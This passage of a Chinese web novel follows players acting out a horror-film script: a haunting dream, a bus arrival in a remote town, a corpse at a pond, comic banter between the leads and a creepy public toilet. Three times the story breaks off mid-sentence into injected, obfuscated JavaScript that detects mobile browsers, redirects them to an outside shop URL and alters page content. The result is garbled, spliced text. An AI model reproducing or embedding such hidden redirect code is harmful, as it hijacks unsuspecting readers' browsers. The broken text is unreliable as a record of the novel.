他听不到任何声音,看不见任何景象,除了脚下的土地,周围的一切都消失在了这无尽的迷雾之中。 他不知道自己要去哪,只记得他有个任务要完成,不论前面会遇到什么,都不能在这里停下脚步。 随着男人不断深入,雾气似乎变得更加浓重,翻滚着,如同一张巨大的幕布,将整个天地都笼罩在内。他脚下的泥土也越来越软,每走一步都能感受到地面的下沉,好似稍有不慎就会化作沼泽将人吞没。 “张子坤——” 耳边好像听到了什么声音。男人停下脚步,侧耳倾听,只能听到有人在呼唤一个名字,一个他很陌生的名字。 张子坤?那应该不是在喊他。 男人不再理会,继续踏着泥泞的土地前行。裤腿上沾满了泥土,在白雾的笼罩下,他几乎成了一个盲人,只能依靠双手去感知前路。 那呼唤声从身后的远方不断传来,时而清晰,时而模糊,如同深海礁石旁隐隐听到的海妖歌声,充满了诱惑,试图牵引他回头。 别喊了,烦死了。 男人皱眉,那声音不断重复着那个陌生的名字,如同一根刺,让他感到烦躁不安。 或许是感应到了他的心声,飘渺的声音突然间停顿了片刻,四周变得异常寂静,只有他的脚步声在空旷中回响。他的目光坚定,只是沿着认定的方向,尽管步履蹒跚,却依旧坚持前行。 “陈长风——” 悠远空灵的声音换了个调子,一字一句的,像有人紧贴在他耳边轻声低语。 那呼唤如同电流般穿透了他的身体,陈长风打了个激灵,醒了。 眼睛刚睁开,他便忘了自己做了什么梦,只记得隐隐约约听到有人在喊自己的名字,声音遥远而飘渺。 是工作人员喊他开始表演了吗? 环顾四周,左侧饰演导演的中年女人坐在那好似睡着了,而最前面的司机依然专注地驾驶着大巴,目不斜视。 陈长风坐在第一排位子,一抬头就能看见车前玻璃外的场景,他们离目的地越来越近了。 听到有人喊自己的名字这件事跟剧本能对应上,那就是他的戏份已经开始了。想到这,陈长风忍着困意,压下眼尾,试图展现出角色应有的恐惧表情。 紧接着,他的表演卡住了。 不是,同为摄影师的另一个人,好像坐到后面去了。他们两人一个负责前排拍摄,一个负责后排拍摄。而剧本里写得是他直接压低声音就能与陈欣交流,这是怎么做到的? 陈长风试探性地站起身,沿着车厢的走道缓缓向后移动,一路上两边座位上的人无一不奇怪地看过来,眼神仿佛在说:兄弟你好勇啊。 无数个相顾无言后,他来到了另一架摄影机旁边。那里坐着一位二十多岁的女性,她的身份牌上清晰地写着“摄影师:陈欣”。 确定目标后,陈长风轻手轻脚地坐到了旁边的空位上,压低声音对台词:“哎,陈欣,陈欣。” 夏黎知道这是自己在车子里最后一段对手戏,见有人过来,很快就反应出这个人是谁,刻意忍住没扭头看他,一直等他叫自己。 听到声音后,她才转头,给自己加了台词:“你怎么过来了?” 然而,新台词出口后,她发现不对劲。剧本中这位男摄影师应该是坐在前排的,并没有提到他会移动到后排。难道是他们两人的位子坐错了? 不,不太可能。陈欣的剧本里确实提到了两位摄影师是分别坐在车厢的前后两端。难道是剧本bug? 不管怎么说,他们只需按照剧本的要求去演绎角色即可。 陈长风见她看过来,忍不住问:“刚才是你在叫我吗?”不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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声音从身后传来,男人没有回头,他只想赶紧离开这里,不管谁在叫他都不想理会。 “陈长风——” 声音再次响起,飘渺而不真实,仿佛来自遥远的天际,又似乎就在他身后,让人难以分辨。 他拖着越来越沉重的身体,在浅水里艰难前行,每一步都像是在与无形的阻力做斗争。 “陈长风——” 有什么东西绊了他一下,让人猝不及防直接摔在了水里。等他爬起来时,却发现脚下空无一物。四周除了水声,再无其他。 男人似有所感,猛地扭头——身后水面上,倒映出他的背影,熟悉的人脸正贴在背上。 它与他在水面上对视,那双空洞的白色眼睛,再次死死地盯着他。 它在笑。 阳光透过车窗,落在陈长风的脸上,洒下一片明亮的光芒。 他再次从梦中惊醒,梦境的细节如同晨雾般渐渐消散,只留下一些模糊的印象:梦里的他站在水面上,看到一张苍白的人脸,耳边有人在喊他的名字。 是单纯的噩梦,还是剧本中所暗示的灵异元素在作祟? 一切都无从得知。 既然已经醒来,就意味着他需要继续接下来的剧情。陈长风坐直身体,开始认真检查摄影机。他调出屏幕,仔细回放之前录制的画面,一遍又一遍,但屏幕上除了正常的拍摄内容外,并没有发现任何异常。 “难道真的是我在做梦?”他自言自语。 念完在大巴车里最后一句台词后,陈长风松了口气,又倒回靠背上。 忽然,他动作一顿。 从硌到自己的腰后面摸出一块小镜子,镜面碎裂,碎片在阳光的照射下闪烁着斑驳的光芒。 他的一次性道具,碎了。 63. 噩梦的开始 装睡半天的纪然一直在耳听八方,始终敏锐地捕捉着周围的一切声音。从身后传来的洗脑神曲,到陈长风和陈欣之间的对话,她都一字不漏地听在耳中。 那两人的座位和剧本的矛盾问题她也发现了,却不清楚这意味着什么。 偷偷睁开一只眼看了眼车窗外,他们马上就要到达目的地了。抵达小镇后,剧情将进入下一个阶段,开启全新的场景—— 烈日高悬,空气中弥漫着夏日的暑气,翻腾着一股股热浪。 穿越荒芜之地,小镇的轮廓映入眼帘。周围种植了不少树木,葱郁茂密,有一条道路上的枝叶交织成一片片翠绿的华盖,阳光透过缝隙洒下斑驳的光影,宛如置身于梦幻般的仙境之中。 随着大巴车缓缓停靠在广场附近,云初夏与众人一同下了车,待缓过晕车的劲后,提起精神打量着这座小镇。 从旅游攻略中便得知小镇规模小巧,人口数量仅以千计,坐落在偏僻的郊区。实际到达这里后,就发现小镇的实际情况远比旅游攻略描述得更加夸张。 它就像是游戏中荒野地图上留给冒险者的资源补给点,方圆百里看不见一个人影。除了围绕着周边种植的树木,也没有什么临近的建筑群,简直到了荒无人烟的程度。 他们一行八个人在广场上稍作环视,便遭不住太阳的曝晒,拖着各自的行李,匆匆往提前订好的宾馆而去。 这座镇上只有一家宾馆,在外面瞧着显得空间不大,从正门进去,一股淡淡的樟脑香扑面而来,迎面便看到有个中年男人站在服务台后面。 见到一群人鱼贯而入,他抬起头扫视几眼,突然一拍脑袋:“哟,瞧我这记性,你们就是前些天预定房间的人吧?” 房间是云初夏订的,与宾馆老板交涉的却是唐晨歌。在老板的带领下,他们踩着嘎吱作响的木质楼梯上楼。 二楼有五间房,除去老板所说的杂物间外,剩下的四间房正好八个人两两一间。 云初夏与男朋友许灼选择了走廊尽头、靠近街道的那间房。推开窗户眺望,可以隐约看见他们来时的广场。 她的两名室友,唐晨歌和叶莜竹拖着行李箱,携手进入了对面的房间。透过打开的房门,可以看见她们房里的窗户敞开着,外面是清晰可见的民居。 剩下的四人经过简短的商议,由段华和白林住进了云初夏左侧的房间;而孟贺和田文俊则是选择了斜对面,在两个女孩子的隔壁房间安顿下来。 这是他们即将要住一周的地方。 一行人在整理好各自的房间后,沿着楼梯而下。根据老板的推荐,前往附近的一家餐馆,准备犒劳一下奔波许久自己,吃一顿迟到的豪华午餐。 在等上菜的间隙,他们刷着手机,发现这个地方确实如同宣传上写得一样,信号不是很稳定,时断时续的。 不过幸好他们主要是来玩的,信号不好也没有影响他们的性质。毕竟这里有银行,他们随时能取现金来支付,而且宾馆内还配备了电视。 在这个没有网络喧嚣的镇子里,一群年纪相仿的校友们反而更加亲近,他们玩玩闹闹的,没网也不会觉得无聊。 下午,待太阳没那么凶猛后,他们漫步于小镇的街头巷尾,欣赏着这里独有的风情。 虽然小镇位于偏远之地,但无论是略显陈旧的建筑,还是蜿蜒的小路,都如同一处隐匿在人间的世外桃源。美丽而宁静,让人流连忘返。 一路领略自然风光,手机的拍照声此起彼伏,记录着每一个惊艳的瞬间。在寻找最佳拍摄角度的过程中,他们不知不觉来到了小靠外围附近的一处池塘旁。 段华眼尖,远远地就注意到了池塘边的异常情况,连忙招呼其他人:“你们看,那边是不是有个人躺在那里?” 众人的注意力迅速被吸引过去,顺着段华所指的方向望去。果然,在池塘边缘的茂盛野草丛中,隐约可见一个身穿深绿色短袖的身影倒在地上。 唐晨歌拿起手机,对准镜头后放大看了几眼,诧异道:“还真是,难道是中暑晕过去了?” “不清楚,这么热的天气确实蛮容易中暑的,我们还是过去确认一下吧。”云初夏在许灼撑着的太阳伞下躲避着烈日,一边啜饮着水,一边眯起眼睛望过去。 他们加快步伐,穿过草丛,逐渐接近了那个倒在地上的身影。走到近前,才看清那个人确实是趴伏在地,一只手臂浸入了池塘的水中。 作为所有人的学长,段华自然担起了责任,第一个上前试图唤醒这位不省人事的人。 当他触及对方的身体时,一股冰冷的触感让他心头一紧,这种冷并非寻常的凉爽,而是带着几分僵硬的寒意,再细看之下,那人的身体似乎还有轻微的水肿现象。 一时怀疑自己是不是因为炎热而对温度的感知出现了偏差,于是段华呼唤其他几位同伴前来确认。 白林却一脸慎重地拦住其他人,让段华退后,自己则蹲下身,轻轻地在这人身上触碰了几下。 “怎么了?”孟贺见此,出声问出了在场所有人的疑惑。 他与白林自幼相识,对这个邻家弟弟的了解可谓深入骨髓。此刻,他从白林的表情中察觉到了一丝异样,那是只有在面对重大问题时才会出现的严肃与紧绷。 白林沉默了片刻,似乎在寻找最合适的措辞来形容,然后他缓缓站起身,带着一丝沉重:“他死了。” 这句话如同一颗重磅炸弹,在每个人耳边轰然炸响,激起了巨大的震荡,震惊和不可置信的情绪在空气中弥漫。 “你在胡乱说些什么?”叶莜竹皱着眉,声音里带着明显的怀疑和不悦。 她与白林才认识不久,自然对他的判断持保留态度。在她看来,出门游玩竟然会遇到尸体,这样的概率简直微乎其微,更像是电影情节而非现实。 蹬蹬走上前去,叶莜竹自己上手推了推地上的人,试图唤醒他:“喂,醒醒,你还好吗?要送你去医院吗?” 然而,无论她如何呼唤和摇晃,地上的人依旧毫无反应。除了被推外,身体没有丝毫起伏,这让她心中隐约的不安逐渐变成了实质的恐惧。 手指在多次触及到那具身体时,感受到的不是温热柔软的活人肌肤,而是带着僵硬和冰冷的触感。 叶莜竹的脸色随之变得苍白,心中的疑虑逐渐转化为确信。惊慌之下 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眼里露出恐惧之色,直到被许灼拥入怀中,云初夏才稍稍安心,不再直视那令人心惊的场景。 段华察觉到动静,略微偏头,视线在云初夏和许灼紧紧相拥的身影上停留了片刻,他的眼神一时间有些晦涩不明,复杂难辨。 与此同时,孟贺正在焦急地拨打电话报警,然而电话那头却始终无法接通。 而白林作为这群人中年纪最轻的人,却展现出了超乎年龄的成熟和专业。身为一名医学生,白林深知在面对紧急情况时保持冷静的重要性。他拿起手机,开始拍摄尸体和现场的照片,以便留下必要的证据。 报警电话始终打不出去,孟贺意识到这个方式行不通,强迫自己冷静下来,向众人提议:“电话打不通。不过这个镇子不大,我们可以直接去警局报警,有人跟我一起吗?” 话音刚落,田文俊几乎是立刻响应了他的提议,显然他也急于离开这个让人心生恐惧的地方。 白林也点点头,经过大致检测,他对尸体的状况也有一些了解,能够更详细的告诉警方这边的情况。 “你们在这里看着现场吧。”孟贺对众人打了声招呼。 随着他们的决定,一行人开始分头行动,一部分人留在原地守候,以确保现场不被破坏。而孟贺、田文俊和白林三人则结伴离开,前往警局报警。 由于不清楚当地的警局在哪,他们只能在路上找机会询问当地居民。而且在找到警察之前,还不能轻易泄露有关尸体的消息,以免引起不必要的恐慌。 此时现场还剩下五个人。 唐晨歌和叶莜竹站得远远的,两人在小声交谈着些什么。叶莜竹的脸上挂着泪痕,丝毫不敢看向这边,显然还未从刚才的惊吓中恢复过来。 许灼带着云初夏也远离了尸体所在的地方,耐心地轻声哄着受到惊吓的女朋友。 静静站在原地的段华,唇边失去了往日的笑意,显得异常沉默。他的目光如同被磁铁吸引一般,紧随许灼和云初夏的身影移动。 他渴望着,此刻能够拥抱云初夏,给予她安慰的那个人,是自己而不是许灼。 64. 第一天:第二幕 此时大巴车缓缓驶入了小镇,沿着蜿蜒的街道穿行。 纪然柔弱无骨地靠在旁边人身上,目光透过车窗,欣赏着沿途的绿树成荫,没有起来的打算。 起来才奇怪呢,剧本里可是写了,云初夏晕车得很。 虽然说是被许灼扶下车,但根据云初夏的人设,就纪然自己琢磨的,感觉她这个角色,更倾向于表现出一种柔弱的姿态,利用自己脆弱一面来获得他人关怀,那么仅仅是被搀扶下车能满足她? 所以,分析完后的纪然,心安理得地靠着“许灼”不动。毕竟,他扇出来的风,很凉快。 “我们要到了,你感觉怎么样?”楚·扇风工具人·昭,注意到车子正缓缓驶向一个广场般的开阔地带,低声询问“云初夏”的状况。 “感觉不太行,浑身无力,好像要中暑,眼前仿佛看见了有天使在冲我招手。”纪然发出气若游丝的声音,仿佛每一字都耗尽了全部力气。 楚昭:? 他手中扇风的动作停顿了一下:看到天使了?真的假的? 在低头瞧见这人毫无波动的眼神后,楚昭一时无言。 为什么她还能给自己加戏? “……天使有说什么?”为了符合人设,楚昭还是伸手轻碰了下纪然的额头,虽然并没感觉她哪里有中暑的迹象。 谈话间,大巴车在广场上缓缓停稳,紧接着,前面传来车门打开的声音。司机简短地招呼了一声,便自顾自地先行下车。 纪然透过车窗瞥了一眼外面,决定把作精行为贯彻到底,开始了已读乱回。她声音更加虚弱:“即便我一日三餐都配上三菜一汤,你一个人也要好好的,答应我好吗?” 楚昭:“……” “唉,”纪然轻叹一口气,面带深情,一番胡言乱语、完全没过脑子随口就编的话,说出了百般柔情又百转千回的感觉,“白白的天,蓝蓝的云,帅气的我配上漂亮的你。你说是不是很妙?” 楚昭:“……” 纪然又等了几秒,旁边人还没动静,继续编:“好安静,我以为你会像我一样克制不住向对方倾诉的表达欲,如同我对你炙热的感情一样。你快回答我,我们会一直都有话讲的,对吗?” “……应该?”昭眉心微皱,语气中带着一丝迟疑。 “好冷漠,大海是我的眼泪,遇见你让我遭罪。”纪然顺势发挥,模仿着心碎的模样,做出手捧着心的姿势,娇弱无比地抹着不存在的眼泪。 楚昭:? 他凝视了半天,总算看出一点不对劲,问:“你想说什么?” “我想要的,你当真不知道吗?难道我不再是你最亲最爱的宝贝了吗?”纪然努力回忆着自己这段时间用手机刷到的网络梗,找到了新的灵感,伤心欲绝地接着吐词。 有一说一,手机真的是人类最伟大的发明之一,好用,非常爱用。 “我该知道什么呢?我最、亲、最、爱、的、宝、贝。”楚昭几乎是用尽全力控制着自己的表情,咬着牙一字一句往外蹦着字。 为什么这段加戏的内容没有导演来制止!听听,听听,他都在说什么啊! 此时,其他人都已经开始陆续下车。而坐在他们后两排的夏黎扛着摄影机,路过时瞅了眼还坐着不动的两人。 不确定这段内容导演还拍不拍,不过一直没听到叫停,或许这意味着他们可以自由发挥。这对于夏黎来说,也是一个机会,正好洗刷一下她之前崩掉的人设。 于是,夏黎带着轻松的笑容,随口问道:“你们俩怎么了?不下车吗?” 听到声音,纪然迅速调整了自己的状态,掐着嗓子装晕,显得柔弱极了:“哎~头好晕,我要不行了。”话音刚落,她就一只手捂着太阳穴,蹙眉闭眼,一副非常难受的样子。 随后,她的手臂缓缓下垂,整个人就像是失去了意识一般,陷入了“昏迷”。 目睹一切的楚昭:“……” 面对她的这一段表演,楚昭张了张嘴,说不出话。 夏黎见人晕了,吓了一跳:“她怎么了?” 就在这时,楚昭感觉到这个处于“昏迷”的人,在暗中捏了捏他的手臂。 经过短暂的沉默,他半天才吐出几个字:“可能是……中暑……了吧?” “啊?”夏黎也觉得车里很热,但没料到真有玩家在车里中暑。 她把摄影机往上提了提,忍不住啧嘴:“中暑了你不赶紧带她去休息,在车上磨蹭干嘛?现在的小情侣哦,啧啧啧,黏黏糊糊不分场合,连个轻重缓急都不分。” 一般夏黎不会八卦,但是情侣狗真的很过分,演的也不行。她,宁可拆十段姻缘,也不毁一座财神庙! 蓦然被啧啧啧的纪然:嘿嘿,我晕了,我不知道。 顺带被啧啧啧的楚昭:……有时候我真的很无助。 不知道怎么给自己伸冤的楚昭,尝试着拉纪然起来,而她却像浑身没骨头似的,这边刚扶起来,那边又倒了下去。 好,好得很。 楚昭气笑了,念及人设,他还是将人抱了起来,一不小心就多用了点力度。 这一下,让被抱起的纪然感到一阵疼痛,闭着的眼睛颤了颤,差点骂出声。 但她很快调整了自己的状态,顺势将脸埋进楚昭的怀中,在无人能看到的地方,悄悄伸出手,狠狠地掐向他腰间的肉。 楚昭:! 他险些一个手抖,把人扔地上。 硬是压下自己应激反应的纪然:还好,还好,差点就露馅了。 要是在那种临近失重下,真的伸手去够什么“救命稻草”,那么她的表演就会瞬间瓦解,不攻自破。 楚昭:“……” 楚昭沉默地低头凝视着怀里装死的某人,他以为这个副本最大的挑战是不知什么时候冒出来的灵异事件。 好好好,结果最大的天坑是给了他一个过分爱演戏的“队友”。 夏黎还在看热闹不嫌事大,不自觉地拱火:“怎么了?是抱不动自己的女朋友吗?” “……”楚昭觉得,这种对外社恐的人设,对他来说真的很不利,有种被造谣还无从解释的无力感。他用力把人抱稳,“抱得动,手滑而已。” 看破不说破的懂王夏黎,内心唏嘘:呵,男人,果然一如既往地嘴硬,长得再好看也没用。明明就是虚,还不肯承认! 看懂了眼神但无法反驳什么的楚昭:“……” 想报警了。 忽然发现,那个要刷的道具也不是很重要,少一个也不影响什么。 他现在急需一个脱离副本的道具,直接离开这凭空污人清白的低级副本。 绝望的是,他一直认为只有废物的人才会用脱离道具强行结束副本,所以,他根本没那种道具。 沉默了。 偷笑了半天的纪然,终于忍不住悄悄戳了戳他:快走啊,还留在这里等着体虚被实锤吗? 两人的脑电波头次对上了同一个频率,楚昭没再理会这个扮演女摄影师的玩家,抱着纪然直接下了车。作为一个剧本中设定为对外社交恐惧的角色,对陌生人表现出冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179149|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漠也是情理之中的事。 踏上实地后,楚昭垂眸问她:“所以天使有说什么?” 纪然睁开了眼,呼吸着新鲜的空气,指挥着楚昭把她放到一边的长椅上坐下,随意地回答:“天使在冲我招手,对我说‘拜拜’。” 楚昭:“……” 楚昭冷着脸把人放下,又转回去拿两人的行李。 纪然坐在长椅上,打量着这个地方。 虽然是身处影视城中,但能单独造出这么大片荒地和单独的小镇出来,无不彰显着建造者的雄厚实力和对细节的极致追求。 此前,他们一直待在影视城的另一侧,乘坐大巴车绕了圈从另一条路重新开回这里,所以这一侧的区域,纪然反倒没有见过。 这个小镇的广场虽不算宽敞,但其规模足以容纳数千人聚集。 离纪然不远处,广场的中心位置,矗立着一座造型简洁的圆形喷泉。边缘由纯白的石料精心砌成,高度仅及成人膝盖。池子里浅浅的一层的水清澈见底,在阳光的亲吻下,泛起层层涟漪,犹如无数碎钻在闪耀,熠熠生辉。 她可以想象到,当夜幕降临,繁星闪烁时,这座喷泉的水流将会在星光下,与灯光交相辉映,折射出如银河般的绚丽景象。 楚昭的动作很迅速,走开没多久就带着两人的行李箱和背包过来。当他出现在视野中时,纪然才恍然记起,按照剧本,他们在这个广场还有一段戏份需要演绎。 “看起来跟宣传里差不多……”她懒洋洋地念着台词,声音中透露出来的有气无力感,倒是与她要表演出的状态十分相似。 从背包里取出水后,楚昭接戏:“别想那么多……” 虽然两人跳过了不少情节没有演,不过只要他们的行动和对话符合角色设定和行为逻辑,不改变剧情的主要走向,就不会对整体故事产生太大影响。 喝了点水,等晕车感缓解后,纪然凑到喷泉边上,俯身观察那清澈的水面。才发现看似无色的池水,其实蕴藏着浅淡的碧色。而池底和边缘均由同一种洁白石料铺设,里面也没有什么藻类,整个喷泉显得格外纯净。 手指轻轻划过水面,感受到水的清凉与柔和。随着涟漪的扩散,纪然缓缓抬起头,视线聚焦在喷泉另一侧的那座雕像之上。 这座雕像约有三人高,同样由白色石料雕刻而成,仔细看去,甚至连衣物的褶皱和纹理都刻画得栩栩如生。雕像的双手捧在身前,掌心之中摆放着一本被翻开的石质书籍。 纪然观察了片刻,但由于角度和光线的原因,她无法辨认出书本封面上的文字,索性没有再看。 而楚昭顺着她的视线望见雕像后,目光在其上停顿了几秒,才慢慢移开。 其他人也都有注意到这座雕像,大多数人只是匆匆一瞥,并未过多留意。唯有陈长风在凝视雕像时,眉头微蹙,他隐约感觉到这座雕像有些异样,却又无法具体指出究竟哪里不对劲。 转过头去的刹那,陈长风的余光捕捉到了一幕诡异的景象——那座雕像的面容似乎发生了变化,仿佛换上了一张截然不同的面孔。当他定睛看去时,雕像依然是那副庄严肃穆的神态,没有任何改变。 他疑惑地再次审视着雕像,从头到脚细细打量,试图找出刚才那一瞬间的变化。但是,无论他怎么观察,雕像依旧保持着最初的模样,没有任何异常的迹象。 即便陈长风怀疑刚才所见的只是自己的错觉,因为光线折射产生的某种幻觉,但触及到张子坤这个角色的人设,他还是装作心神不宁的样子,多看了几眼雕像。 65. 你要上厕所吗 纪然注意到男摄影师一直盯着雕像看,奇怪地瞅了他几眼。 这个人在表演什么,怎么面部表情这么扭曲? 也许是这一段场景的戏份已经被有意无意地拍摄完了,程导总算是干脆利落地喊了一声“Cut”,让这持续了接近两小时的拍摄告一段落。 其实对纪然而言,结不结束没多大区别,她的两种人设差距不是很大,稍作调整就可以装下去。 不过,对于其他参与拍摄的玩家来说,情况就不尽相同了。据纪然所知,就有好几位玩家的两种人设之间的性格截然相反。 程导的脸上没有太多表情,让人难以揣摩他对刚才拍摄成果的满意度。他只是沉声道:“大家休息半小时,十二点半准时在这里集合,我们将前往宾馆进行下一幕的拍摄。” 他的目光如同探照灯一般在众人身上扫过,确保每个人都听清了他的指示。他强调道:“如果饿了,可以适当地吃点东西垫垫肚子。但在剧本里正式的用餐环节到来之前,不要过量进食。” 以程导的角度来讲,作为一群不出名的演员,这些人需要时刻保持角色的状态和情感的真实性。如果在拍摄用餐场景时,演员已经吃饱了,那他们将很难表现出剧本所要求的那种渴望食物的状态。 听到导演的安排,玩家们纷纷松了一口气,长时间的坐车再加上持续不断地角色扮演,皆让他们身心俱疲。 利用这短暂的休息时间,纪然试图与第一小队,或者说与SP部门的队友们汇合。不过怎么不引人注意而又不OOC的情况下与他们交换信息呢? 尤其是自己身边还有一个“粘人精”。 根据第一天的剧本描述,从里面的部分细节处也能看得出来,许灼很黏云初夏。不过眼下并非拍摄时间,按理说,他应该回到第一种人设上,不至于再粘人了吧。 纪然转头看向楚昭,试探性地问道:“你有什么事要忙吗?”赶紧走赶紧走。 “忙?”楚昭听到这个问题,瞬间领会了她的言外之意,嘴角不禁露出一丝嘲讽的微笑,“利用完了就要甩开我了?” 这话纪然就不爱听了,她轻轻皱眉,用软糯的语气说着最理直气壮的话:“您这话说的,可真叫人伤心,明明是我们两感情的双向奔赴,怎么能说是互相利用呢?” 楚昭:“……” 有没有一种可能,他是在谴责某人一直利用他刷人设,而不是说他们互相利用。 合理怀疑,她又在故意装糊涂。 “嗯嗯嗯,你继续说。”楚昭敷衍地点头。 可恶! 纪然在心里暗骂一声,表面上却依旧保持着那副天真无邪的样子。 目光不经意间扫过广场上显眼的公共厕所指示牌,灵感瞬间涌上来了,纪然娇滴滴地说:“哥哥不想去上厕所吗?反正我想,哥哥要不要陪我去?” 楚昭一愣:? 一句话给他大脑问宕机了。楚昭揉了揉眉心,结果在理智还未作出反应之前,他的嘴巴已经抢先一步回答:“可以。” 下一秒,楚昭回过味来,不是,等等——他在可以什么啊他就可以! 纪然惊愕地瞪大眼睛,难以置信地看着楚昭。不会吧,不会真有人这么变态啊?他不会入戏太深真的把她当女朋友吧? 退后几步,眼神中透露出一股一言难尽,还有些许防备。纪然故作扭捏害羞道:“不好吧,这样是不是有点太暧昧了?” 楚昭头顶问号:不是你先问的吗? 原本楚昭还因为自己脱口而出的话感到一丝尴尬,但看到她眼中的指指点点后,反而冷静下来。 清楚她无非是找个借口摆脱自己,不过,他在车上配合她的临时加戏这么久,现在利用完了就想轻易甩开他? 做梦。 所以,楚昭嘴角微微上扬,带着令人捉摸不透的口吻:“我倒要看看你是不是真的上厕所。” 纪然:??? 不是,他有病吧? 深呼吸一口气,纪然缓缓开口:“我相信哥哥肯定不是个这么变态的人,你……” “不是想让我陪你吗?”楚昭打断她的话,往厕所方向走了两步,然后转身望向她,“既然如此,那就走吧。” 嚯,这一句话激起了纪然心中的倔强,她挺直腰板,支棱起来昂首阔步地走在了前面。她倒是要看看,这个变态男是不是真的敢。 两人一路来到公厕前。这里的环境出乎意料地整洁,清洁工作做得很到位,洗手台附近还摆放了几瓶香薰,散发出淡淡的香气,也不刺鼻。 睨了他一眼,纪然用甜得发腻的语气问:“到了呢,哥哥要一起进去吗?进男厕还是女厕呀?” 楚昭丝毫不吃这套,在内心冷笑,往大门口一立,淡定地回答:“我在这等你。” 在内心啧嘴的纪然:害,她就说吧,这男的肯定不敢进去。 于是,她泰然自若地踏入了女厕内部,目光迅速扫过四周,寻找有没有能翻出去的窗户。 果不其然,在最里面的角落里,她发现了一扇大约一平方米大小的窗户。由于安装了排风扇,窗户仅被推开了一条手掌宽度的空隙用于透气,不过距离地面的高度则大约有两米。 如果她直接助跑跳上去,可能会显得过于专业,这与她所扮演的小白花形象不符。况且墙上贴了不少瓷砖,这光滑程度以她目前的身手来说,在没有外力帮助的情况下,想要徒手攀爬上去是非常费劲的。 纪然环顾四周,希望能找到一些能够作为垫脚或借力的物品,比如凳子之类的东西。 经过一番搜寻,她在其中一个厕所隔间内发现了好几把叠放在一起的塑料椅子。将这些椅子搬出来,并在窗户下方堆叠好,踩上去后纪然试了试高度,发现可以轻松够到窗户。 纪然扒拉住窗台,伸出手臂,用力尝试推开玻璃窗。但无论她如何努力,窗户依旧纹丝不动,仿佛被某种神秘力量牢牢锁住。 最终,她无奈地松开手,默默从椅子上缓缓退了下来。 纪然:已老实。 将那些椅子重新搬回了原来的隔间后,她顺手推开旁边隔间门,进去准备真的上个厕所。 解决完人体新陈代谢的生命循环后,纪然正在整理衣物,突然听到隔间外传来沉重的脚步声。 刚提起裤子的纪然瞬间心里一紧,不是吧?难道那个变态真的跟进来了? 虽然隔间门紧闭,但纪然还是忍不住扭头,望向声音传来的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179150|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 从脚步的沉重与节奏来听,这不像是年迈者的蹒跚步履,也不似年轻女性的轻盈步伐,倒更像是一位体格魁梧的男性正在逼近。 纪然面色古怪,试探性地喊了一句:“许灼?” 不清楚这个人真名叫什么,反正能听懂她在叫谁就行了。 然而,隔间外一片寂静,没有任何回应。 没听到吗? 纪然提高了声音又喊了一遍。 这时,她的眼角余光中瞥到了什么,低头往左下角看去,与另一侧隔间之间的隔板下,约莫五厘米的缝隙间,露出了部分鞋底的边缘。 这是在搞什么?纪然摸不着头脑,原本这隔间里就有人吗? 脚步声逐渐往她所在的隔间靠近,在纪然以为门口的变态男真的进来时,终于听到了回应。 “怎么了?你掉厕所了?”男人的声音从更远处的门口外传来。 纪然:好,他没进来。 如果进来的真的是异性,在门口的戏搭子怎么也该会提醒一句吧。不管怎么说,男性进女厕,正常人都会拦一下。 那这个动静应该就是其他女孩子进来上厕所了。 纪然松了口气,放心地摁下冲水按钮,在哗啦的抽水声中,她所在的隔间门突然被敲响了。 站在公厕门口等待的楚昭,随着时间的流逝,始终没见到里面的人出来,开始察觉到一丝不对劲——广场上有不少行人,怎么厕所里空荡荡的显得异常寂静,除了云初夏刚才进入时的脚步声之外,再无其他任何声响。 从开始在门口隐约听见关门声后,楚昭就没放过任何可能的线索。他先是进了男厕观察了一圈,里面只有一扇在两米高处的窗户。 楚昭试了一下,这种窗户的设置是卡死的,显然是为了防止完全打开,仅留下一道狭窄的缝隙供空气流通,所以根本无法轻易推开。 而男厕和女厕的设计基本相同,倒不用担心某人从厕所偷溜出去。 检查没花多久,楚昭很快又回到公共洗手台区域。他的目光在镜子和水龙头之间来回扫视,但并未发现任何异常现象。 不过,楚昭走到靠近女厕的洗手台这边时,耳边隐约传来了云初夏在里面的声音,但由于隔着墙壁,她的具体话语并不清晰。出于关心,他扬声询问了一声,却发现里面又恢复了沉默。 时间一分一秒地过去,云初夏迟迟未出,难道她真掉厕所了? 楚昭站在女厕门口,侧着脸没往里面看,直接又问了一遍,这下里面终于有了回应:“你别进来。” 楚昭:? 他又不是真的变态,为什么要进女厕? 于是略微无语的楚昭又回到大门位置,转过身背对着女厕,目光投向了公厕外的小路上,随意观察着周围的动静。 没多久,有人从女厕里出来,随后是水龙头被拧开的水流声,接着便是烘干机启动的声音。 这女人终于舍得出来了? 楚昭头也没回地说:“还以为你今晚要在厕所里过夜。” 一只手轻轻拍了一下他的肩膀,娇软的声音从身后响起:“我来啦。” “不好意思让你久等啦,我们走吧。”云初夏笑盈盈地站在他身后。 66. 厕所奇遇记 在抽水声停下时,隔间门上的敲门声也消失了。 纪然并未轻举妄动,而是谨慎地向后挪了几步,目光缓缓下沉。透过门板下边的缝隙,一双脚映入眼帘。 